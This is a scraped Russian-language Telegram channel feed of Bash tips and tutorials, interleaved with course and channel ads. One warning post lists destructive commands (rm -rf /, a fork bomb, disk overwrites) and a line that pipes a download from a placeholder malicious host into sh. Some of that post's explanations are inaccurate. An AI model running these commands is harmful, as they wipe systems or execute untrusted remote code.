BashMaster
8.24K subscribers
683 photos
14 videos
1 file
706 links
Удобные консольные наработки на каждый день для разработчиков, девопсов и сисадминов.

Реклама: @Kone4noVasya

Канал на бирже: https://telega.in/c/bash_help
Download Telegram
🪞 Современные операционные системы

Видео:
1 — Установка Ubuntu в VirtualBox
2 — Типы ядер. Bash
3 — Файловая система
4 — Процессы
5 — Многопоточность и методы синхронизации

📹 Смотреть на YouTube

Rick Academy 🫥 #обучение
Please open Telegram to view this post
VIEW IN TELEGRAM
💥 Шоу-прожарка: собеседование на должность DevOps-инженера в прямом эфире

Хочешь узнать, что ждет на реальном собесе в айти?

18 апреля ты сможешь увидеть это вживую 

На твоих глаза реальный эйчар и матерый техдир будут заваливать стажера Геннадия во время собеседования.

Пройдет Геннадий собеседование или нет — решать зрителям.

Повторов не будет. Трансляция 18 апреля, ссылка будет на канале. Подписывайся, чтобы не пропустить🔥

erid: LjN8KEs7M
⚙️ Шифрование файла или каталога

✔️Bash скрипт предназначен для создания простого интерфейса для шифрования файла с помощью инструмента шифрования GnuPG (GPG).

✔️Скрипт приветствует пользователя и предлагает ему ввести точное имя файла или папки, которую нужно зашифровать, включая расширение. Затем он использует GPG для шифрования указанного файла и выводит сообщение об успехе.

✔️Кроме того, он удаляет исходный незашифрованный файл для дополнительной безопасности. Обратите внимание, что скрипт должен быть размещен в той же директории.

▶️Команда "gpg -c filename" используется для шифрования файла с помощью GnuPG (GNU Privacy Guard) с симметричным шифрованием
▶️Команда "gpg -d filename.gpg > filename" используется для расшифровки зашифрованного GPG файла и сохранения расшифрованного содержимого в новый файл.

#!/bin/bash

echo "Welcome! I am ready to encrypt a file/folder for you."
echo "Currently, I have a limitation. Please place me in the same folder where the file to be encrypted is located."
echo "Enter the exact file name with the extension."
read file;

gpg -c "$file"

echo "I have successfully encrypted the file..."

# Ask for confirmation before removing the original file
read -p "Do you want to remove the original file? (y/n): " confirm

if [ "$confirm" == "y" ]; then
rm -rf "$file"
echo "Original file removed."
else
echo "Original file was not removed. Exiting without deletion."
fi


🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
⚙️ Как очистить историю bash при выходе из системы

Отключите переменную оболочки HISTFILE при входе в систему, чтобы история команд не сохранялась при выходе из оболочки.

$ echo "unset HISTFILE" | sudo tee /etc/profile.d/unset_histfile.sh 


При необходимости установите для переменной оболочки HISTSIZE значение 0 при входе в систему, чтобы выполненные команды не сохранялись в списке истории.

Внимание, это очень неудобно, так как полностью отключит историю в оболочке входа в систему.

$ echo "HISTSIZE=0" | sudo tee /etc/profile.d/disable_histsize.sh 


Создайте /etc/bash.bash_logout файл, который будет выполняться при выходе из шелла.

Используйте его для очистки истории.

Не волнуйтесь, он будет выполнен после отдельного файла очистки оболочки входа ~/.bash_logout.

$ echo "history -c" | sudo tee /etc/bash.bash_logout 


Обратите внимание, он не будет записывать пустой список истории в файл истории.

Добавление второй команды для записи списка истории в файл истории не будет работать, так как переменная оболочки HISTFILE не была установлена.

Это также означает, что список истории не будет инициализирован из файла истории при запуске.

Удалите существующий файл истории ~ /.bash_history, чтобы все было в порядке. Но помните о других пользователях. Вы всегда можете сохранить список истории в специальный файл.

Обратите внимание, что это добавит текущий список истории в файл.

$ HISTFILE=session_history.txt history -w
$ cat session_history.txt
cat .bash_history
HISTFILE=session_history.txt history -w


🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡️ RECURA - один из лучших каналов для разработчиков и инженеров.

Канал ведёт практикующий DevOps-инженер, который ежедневно публикует:
код, повышающий эффективность разработки
— лайфхаки и полезные трюки для BashLinuxmacOS
— полезные книги и советы по информационной безопасности
— актуальные новости из мира технологий и нейросетей

Подпишись на @recura_tech, чтобы каждый день открывать для себя что-то новое и быть востребованным специалистом.
⚙️ Никогда не запускай эти 11 команд Linux

▶️rm -rf / – Эта команда удалит все файлы и папки на вашем компьютере.

▶️:(){ :|: & };: – Это команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы.

▶️mkfs.ext4 /dev/sda – Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны.

▶️dd if=/dev/random of=/dev/sda – Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных.

▶️chmod 777 / – Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности.

▶️mv /home/* /dev/null – Эта команда переместит все файлы в вашей домашней директории в "null", короче, они будут утеряны.

▶️wget http://example.com/file -O /dev/null – Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных.

▶️mkfs.ext4 /dev/sda1 – Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.

▶️ln -s /dev/null /etc/passwd – Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.

▶️echo "Hello" > /dev/sda – это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

▶️wget http://malicious_source -O- | sh – Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
📚 Здесь собраны все вопросы, которые могут спросить на собеседовании. Теперь можно легко получить оффер, подготовившись к самым популярным вопросам. Просто выбери своё направление:

1. Frontend / JavaScript
2. Python
3. Java
4. Тестировщик QA
5. Data Science
6. DevOps
7. C#
8. С/C++
9. Golang
10. PHP
11. Kotlin
12. Swift
⚙️ Конкатенация строк в Bash

✔️Объединение строк
Самый простой способ объединить две или более строковых переменных — записать их одну за другой:
VAR1="Hello,"
VAR2=" World"
VAR3="$VAR1$VAR2"
echo "$VAR3"


▶️Последняя строка будет отображать объединенную строку:
Hello, World


Вы также можете объединить одну или несколько переменных с помощью буквальных строк:
VAR1="Hello, "
VAR2="${VAR1}World"
echo "$VAR2"


В приведенном выше примере переменная VAR1 заключена в фигурные скобки, чтобы защитить имя переменной от окружающих символов. Если за переменной следует другой допустимый символ имени переменной, вы должны заключить его в фигурные скобки ${VAR1} .

Чтобы избежать проблем с разделением слов или подстановкой слов, вы всегда должны стараться заключать имя переменной в двойные кавычки. Если вы хотите подавить интерполяцию переменных и особую обработку символа обратной косой черты вместо двойных, используйте одинарные кавычки.

Bash не разделяет переменные по «типу», переменные обрабатываются как целые или строковые в зависимости от контекстов. Вы также можете объединять переменные, содержащие только цифры.
VAR1="Hello, "
VAR2=2
VAR3=" Worlds"
VAR4="$VAR1$VAR2$VAR3"
echo "$VAR4"


▶️Вот что будет выведено:
Hello, 2 Worlds


✔️Объединение строк с помощью оператора + =

Другой способ объединения строк в bash — это добавление переменных или буквальных строк к переменной с помощью оператора += :
VAR1="Hello, "
VAR1+=" World"
echo "$VAR1"


В следующем примере оператор += для объединения строк в цикле bash for :
VAR=""
for ELEMENT in 'Hydrogen' 'Helium' 'Lithium' 'Beryllium'; do
VAR+="${ELEMENT} "
done

echo "$VAR"


▶️Вот что будет выведено:
Hydrogen Helium Lithium Beryllium


🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
Хочешь изучать DevOps? Но не знаешь где взять информацию и четкий план?

💪 Тогда лови бесплатный мета-курс Devops Roadmap - это расширенный чек-лист, который поможет сориентироваться в мире DevOps и стать крутым спецом.

👀 В мета-курсе перечислены все основные разделы и навыки, которыми должен обладать DevOps инженер: от Linux до программирования.

✔️А еще он будет полезен при подготовке к собеседованиям.

👽 Кстати, бонусом крутой канал о девопс. Там тоже самые свежие IT-новости, полезные советы от DevOps-инженера с 20-летним стажем, эксклюзивные материалы, релизы топовых инструментов, обзоры вакансий и личный взгляд на девопс-сферу.
⚙️ Как увеличивать и уменьшать переменную в Bash (Counter)

✔️Использование операторов + и -

Этот метод позволяет вам увеличивать / уменьшать переменную на любое значение, которое вы хотите.

i=$((i+1))
((i=i+1))
let "i=i+1"


i=$((i-1))
((i=i-1))
let "i=i-1"


Вот пример увеличения переменной в цикле until :
i=0

until [ $i -gt 3 ]
do
echo i: $i
((i=i+1))
done

Вывод:
i: 0
i: 1
i: 2
i: 3


✔️Операторы += и -=

В дополнение к основным операторам, описанным выше, bash также предоставляет операторы присваивания += и -= . Эти операторы используются для увеличения / уменьшения значения левого операнда на значение, указанное после оператора.

((i+=1))
let "i+=1"

((i-=1))
let "i-=1"


✔️Использование операторов ++ и --

Операторы ++ и -- увеличивают и уменьшают соответственно его операнд на 1 и возвращают значение.
((i++))
((++i))
let "i++"
let "++i"

((i--))
((--i))
let "i--"
let "--i"


Операторы могут использоваться до или после операнда. Они также известны как:

▶️приращение префикса: ++i
▶️префиксный декремент: --i
▶️постфиксное приращение: i++
▶️постфиксный декремент: i--

Операторы префикса сначала увеличивают / уменьшают операторы на 1 а затем возвращают новое значение операторов. С другой стороны, постфиксные операторы возвращают значение операторов до того, как оно было увеличено / уменьшено.

Если вы хотите только увеличивать / уменьшать переменную, то нет никакой разницы, используете ли вы префиксный или постфиксный оператор. Это имеет значение только в том случае, если результат операторов используется в какой-либо другой операции или присваивается другой переменной.

Ниже приведен пример использования постфиксного инкрементора в сценарии bash:

#!/bin/bash
i=0
while true; do
if [[ "$i" -gt 3 ]]; then
exit 1
fi
echo i: $i
((i++))
done


🖼️ Прочитать статью полностью

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
Уйти в пентест? Стать devops-инженером или системным администратором? 
Только вам решать, куда расти, если вы знаете Linux.

Курс "Основы Linux" обучит вас тонкостям работы с ОС: от работы в командной строке до создания прикладных программ.

- 70% практики
- сопровождение куратора
- финальный проект для портфолио
- сертификат или удостоверение о повышении квалификации
- одна из самых низких цен на обучение

Старт курса - 6 мая (длительность 3,5 месяца)

Учитесь у лучших!

@Codeby_Academy
+74994441750
⚙️ Linux System Checker Script Tool

Bash скрипт, отображающий информацию о системе, ее загрузке, проверяет занятость диска, его скорость, и многое другое.

✔️System Checker проверяет и показывает информацию о Linux системе:

▶️Системная информация
▶️Информация о процессоре
▶️Информация о памяти
▶️Загрузочная информация
▶️Точки монтирования
▶️Тесты IO диска
▶️Топ 5 процессов использующих память
▶️Топ 5 процессов использующих процессор
▶️Скорость интернет загрузки
▶️Статусы systemd юнитов
▶️Информация о пользователях
▶️Слушаемые порты

✔️Основные преимущества - инструмент не требует установки дополнительного софта, использует встроенные инструменты Linux такие, как например lscpu, awk, curl и тп.

Тестируется и используется CentOS/Fedora/Debian

🐙 Перейти на Github

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
🐧 Пройдите увлекательный тест по Linux, ответьте на 20 вопросов и проверьте, насколько вы готовы к обучению на курсе — «Administrator Linux. Professional»

📗На курсе вас ждут все необходимые навыки системного администратора — умения гибко рулить системой, создавать и изменять RAID массивы, управлять логическими томами, работать с памятью, процессами, дисками, файлами, баш-скрипты и применение подхода Infrastructure as code.

💪 А также вы получите практические навыки в решении типовых задач администрирования. Практика проходит в режиме реального времени на виртуальных стендах

👉 ПРОЙТИ ТЕСТ — https://otus.pw/Q1XJ/?erid=LjN8Jzc8h 

💣 Пройдете тест, получите скидку на курс, и доступ к 60 открытым урокам курса.

Реклама. ООО "ОТУС ОНЛАЙН-ОБРАЗОВАНИЕ". ИНН 9705100963.
⚙️ DNS Tester Tool

✔️Bash скрипт для теста скорости ответа DNS серверов, которые могут быть перечислены в специальном файле, результат выводит в терминал.
Внутри DNS Tester использует команду dig с перебором адресов из default.txt в итоге собирает и отображает статистику в нескольких колонках:

▶️IP адрес
▶️Средняя скорость ответа
▶️Минимальная скорость ответа
▶️Максимальная скорость ответа

🐙 Перейти на Github

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
Оплачиваемая стажировка и трудоустройство без опыта — ну ничего себе 😳

Все возможно с Добровольным квалификационным экзаменом! Это бесплатный проект Правительства Москвы, где ты можешь показать свои знания по специальности, запомниться потенциальным работодателям и получить оффер в престижные компании Москвы.

Тебя ждет всего три шага:
1️⃣ Пройди тест
После регистрации на сайте ДКЭ тебе будет доступно 70 профессий по 7 направлениям. Выбирай тест по своей специальности и проверь уровень своих знаний!
2️⃣ Реши кейс
Если ты успешно сдал тест, тебя пригласят на следующий этап, где ты с другими участниками в команде будешь решать реальный кейс одного из работодателей.
3️⃣ Стань победителем
Окажись в числе лучших по общему количеству баллов за оба этапа и получи шанс попасть на оплачиваемую стажировку с дальнейшим трудоустройством.

Готов проявить себя? Регистрируйся и начинай проходить тест — https://dke.moscow

Реклама. АНО "РАЗВИТИЕ ЧЕЛОВЕЧЕСКОГО КАПИТАЛА", АНО "РЧК". ИНН 7710364647. erid: LjN8KA81X
⚙️ Использование команды PS в Linux

✔️PS (process state) — стандартная утилита всех дистрибутивов Linux, используемая через консоль. Ее основное предназначение — отображение информации обо всех запущенных процессах. Количество и детально показываемых сведений зависит от установленных опций, которые выбираются при непосредственной активации самой команды.

Содержание статьи:
▶️Вывод без опций
▶️Вывод списка всех процессов
▶️Полноформатный листинг
▶️Отображение пользовательских процессов
▶️Фильтр по root
▶️Отображение групповых задач
▶️Отображение по PID

🖼️ Прочитать статью

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
⚙️ Правильный способ редактирования файлов /etc/passwd и /etc/group в Linux

✔️В этом кратком руководстве объясняется, как правильно редактировать файлы /etc/passwd и /etc/group с помощью команд vipw и vigr в Linux.

Почему мы не можем просто отредактировать их с помощью текстового редактора, такого как Vi или nano, и покончить с этим?

▶️Представьте себе этот сценарий. Файл /etc/passwd в настоящее время редактируется пользователем root с помощью Vi или некоторых других текстовых редакторов.

▶️В то же время другой пользователь пытается изменить свой пароль, пока пользователь root редактирует файл /etc/passwd.

▶️Таким образом, изменение пароля в этом файле может не обновляться, и пользователь может не иметь возможности войти в систему.

➡️ Именно в таком случае команды vipw и vigr приходят на помощь.
Команды vipw и vigr используются для безопасного редактирования файлов /etc/passwd и /etc/group в системах Linux.

▶️Они будут устанавливать соответствующие блокировки при редактировании файлов /etc/passwd и /etc/group, чтобы другие пользователи не могли вносить в них изменения и избежать повреждения файлов.

▶️Когда вы запускаете эти команды с флагом -s, они будут редактировать shadow версии этих файлов, то есть /etc/shadow и /etc/gshadow соответственно.

🖼️ Дочитать статью

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
Я айтишник и я устал!
Рутина, прокрастинация, куча задач и 0 желания их выполнять. Еще и в семье конфликты. Че делать?

Хватит грызть самого себя и заставлять через силу - сделаешь только хуже!

Лучше подпишись на того, кто уже не первый год работает с IT-специалистами и помогает им справиться с апатией и прокрастинацией - Психолог с научным подходом.
👨🏻‍💻 Не очередной инфоциган, а практикующий психолог с дипломом и аккредитацией.

✔️ Оторваться от ленты соц. сетей и сесть за работу с удовольствием;
✔️ Перестать работать по выходным и при этом все успевать;
✔️ Избавиться от постоянной тревожности;
✔️ Успокоить конфликты в семье и перестать срываться на всех, а вместо этого получить поддержку и понимание со стороны близких.

Подписывайся на канал @remizov_changes - начни работать и жить в кайф, не скатываясь в кризисы и выгорание!

А в закрепе лови бонус - 7 практик для снятия головной боли без лекарств 💆🏼‍♂️
Не эзотерика, а минус одна отмазка от работы - “голова болит, посмотрю лучше еще один видосик”
⚙️ Обработка аргументов командной строки в Bash

✔️Самый простой способ обработки аргументов командной строки – установка флага с помощью условного оператора:

if [ "$1" = "-a" ]; then flag_a=1 fi

При реализации такого подхода возникает несколько проблем. Одна из них – захламление исходного кода дополнительными конструкциями. Так, перед этим примером необходимо предварительно обнулить переменную с помощью выражения flag_a=0. Иначе нельзя точно определить, какое значение присвоит ей оболочка командной строки при инициализации.

Другая проблема состоит в том, что выполнение этого блока никак не влияет на параметры командной строки: $1 по-прежнему может быть флагом (-a), другим аргументом или значением, введённым пользователем. Следовательно необходимо будет добавить дополнительные проверки при считывании остальных опций.

✔️Обработка нескольких аргументов командной строки в shell-скрипте

Для наглядности представим, что существует простой скрипт. Он работает в качестве обёртки к чему-то на подобии curl: если передать в него ссылку, то содержимое web-страницы будет скачано и сохранено в файле на локальном диске. К тому же, с помощью воображаемого флага -a можно увидеть ход работы.

Команда для выполнения сценария в bash будет выглядеть следующим образом:

getpage.sh -a http://ozi-blog.ru/

Аргументы командной строки инициализируются в том же порядке: $0 = getpage.sh, $1 = -a, $2 = http://ozi-blog.ru и их общее количество $# = 2.

➡️ Стоит помнить, что $# – количество всех аргументов, а не сумма слов в команде. Можно подумать, что если скрипт вызывается без каких-либо параметров, то $# должно равняться 1 (учитывая имя сценария), однако на самом деле $#=0.

🖼️ Дочитать статью

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
Свершилось! В Telegram добавили бесплатный @ChatGPT4

Малый пример того, что может данный бот:

-Рисовать картины по вашему описанию
-Кодить и обучать кодингу
-Создать уникальный рецепт по списку продуктов
-Рассказать о твоих сильных сторонах
-Быть психологом, СММщиком, мотиватором
-Заполняет за вас Excel-таблицы, делает презентации в PowerPoint
-Писать резюме/рефераты/статьи/песни/рассказы/контент на любые темы

И многое другое! Возможности бота ограничены только вашей фантазией. Пользуйтесь и делитесь с друзьями! 👉🏻@ChatGPT4
⚙️ Настройка Cron

✔️Системным администраторам, да и обычным пользователям часто приходится автоматизировать различные задачи по обслуживанию и работе с Linux с помощью скриптов. Это очень удобно, вы просто запускаете скрипт, и он делает все что необходимо без вашего вмешательства. Следующий шаг в этом пути - настроить автоматически запуск нужного скрипта в нужное время.

✔️Именно для этих задач в Linux используется системный сервис cron. Это планировщик, который позволяет выполнять нужные вам скрипты раз в час, раз в день, неделю или месяц, а также в любое заданное вами время или через любой интервал. Программа часто используется даже другими службами операционной системы. В этой статье мы рассмотрим как выполняется настройка Cron и разберем основные часто используемые примеры.

Содержание статьи:
▶️Как работает Cron?
▶️Настройка Cron
▶️Синтаксис crontab
▶️Примеры настройки cron
▶️Отладка работы
▶️Выводы

🖼️ Дочитать статью

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM